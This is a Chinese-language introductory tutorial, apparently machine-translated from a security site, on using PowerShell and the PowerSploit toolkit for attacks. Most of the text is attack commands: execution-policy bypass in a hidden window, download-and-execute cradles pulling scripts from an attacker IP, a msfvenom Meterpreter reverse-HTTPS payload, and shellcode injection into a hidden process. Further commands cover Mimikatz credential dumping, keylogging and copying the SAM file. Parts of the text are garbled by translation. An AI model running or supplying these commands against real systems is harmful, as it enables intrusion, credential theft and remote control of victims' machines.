本文《Powershell & Powersploit 入门》由军队0队提交安全脉冲，并公布了安全脉冲。如果您需要转载，请先联系安全脉冲授权;请不要擅自转载。 PowerShell是一个命令行脚本环境，可以自动执行在Windows上运行的系统和应用程序管理。您可以将其视为命令行提示符cmd.exe或subversion的扩展。 Powershell需要支持.NET环境并支持.NET对象。可读，易于使用，可以是所有当前shell中的第一个。
目前有四个版本的PowerShell，分别为1.0,2.0,3.0和4.0。
关于安全脉冲的Powershell有很多文章，请看这里：https://www.com/archives/tag/powershell PowerShell简介
PowerShell脚本 *本地权限绕过执行PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1 *本地隐藏权限绕过执行脚本PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive-NoProfile -WindowStyle Hidden -File xxx.ps1 从对等方接收数据时失败 * Recon使用目标主机作为内部网信息检测的跳板 ## Powersploit 模块应用程序 Invoke-Shellcode此模块可与MSF结合使用以获得意外结果，此处未对此进行介绍。 首先在目标主机上安装“Invoke-Shellcode”脚本。使用Get-Help +脚本名称查看如何使用它： 命令格式： IEX（New-Object Net.WebClient）.DownloadString（'http://IP Adress/CodeExecutio N /调用 - Shellcode.ps1' ）
一：使用MSF中的reverse_https模块进行反弹，设置如下
最初在Invoke-Shellcode中使用以下命令来弹跳： Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.146.129 -Lport 4444 -Force 但是Powersploit更新到3.0, Invoke-Shellcode脚本没有Lhost和Lport参数，所以我们需要使用另一种方法来实现。 使用msfvenom生成powershell脚本。 Msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.110.129 LPORT=4444 -f powershell -o/var/www/html/test
IEX（New-Object Net.WebClient）.DownloadString（'http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1'） IEX（New-Object Net.WebClient）.DownloadString（'http://192.168.110.129/test'） Invoke-Shellcode -Shellcode（$ buf）
二：过程注入 首先创建一个隐藏进程: 启动过程 c: \ windows \ system32 \ notepad.exe -WindowStyle隐藏 使用Get-Process命令查看当前进程，记住刚刚创建的隐藏进程ID。
然后使用Invoke-Shellcode脚本进行进程注入 Invoke-Shellcode -ProcessID 2384 -Shellcode（$ buf）
如果您的Powersploit是2.2版，则可以直接使用以下命令。 从对等方接收数据时失败 Invoke-Portscan -Hosts＆lt; IP Adress/Rangr＆gt; -Ports
Invoke-Mimikatz DUMP密码（请注意，此脚本需要以管理员权限运行） Invoke-Mimikatz - DumpCreds也可以直接运行
Get-Keystrokes Keylogger Get-Keystrokes -LogPath +＆lt;保存位置＆gt;
Invoke-NinjaCopy Universal Copy Invoke-NinjaCopy -Path＆lt;要复制的文件＆gt; -LocalDestination＆lt;复制文件保存位置＆gt; 在windows主机上有一个数据库SAM文件，数据中有很多有价值的信息，普通的COPY命令无法复制，使用通用副本可以复制SAM文件
Invoke-ReverseDnsLookup DNS查询（似乎没用 - - ！，我希望每个人都告诉我这个东西的用途是什么） Invoke-ReverseDnsLookup -IpRange＆lt; IP_Address/Range＆gt;
Get-HttpStatus 网站目录检测（似乎没用） Get-HttpStatus -Target＆lt; IP Address＆gt; +字典（如果你遇到HTTPS然后添加-UseSSL，在其他端口然后 -Port）
本文《Powershell & Powersploit 入门》由军队0队提交安全脉冲，并公布了安全脉冲。如果您需要转载，请先联系安全脉冲授权;请不要擅自转载。